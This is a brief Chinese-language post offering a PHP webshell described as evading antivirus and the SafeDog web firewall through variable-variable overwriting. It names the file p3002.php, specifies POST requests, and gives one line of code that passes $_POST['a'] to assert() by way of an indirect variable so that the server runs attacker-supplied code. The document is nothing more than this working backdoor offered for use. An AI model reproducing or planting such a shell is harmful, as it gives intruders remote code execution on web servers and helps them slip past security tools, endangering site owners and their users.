php免杀过狗变量覆盖

php免杀过狗变量覆盖

请求方式post

文件命名p3002.php

<?php function test($d){ $a='ab'; $ab=$d; echo $$a; $$a($_POST['a']); } test('assert'); ?>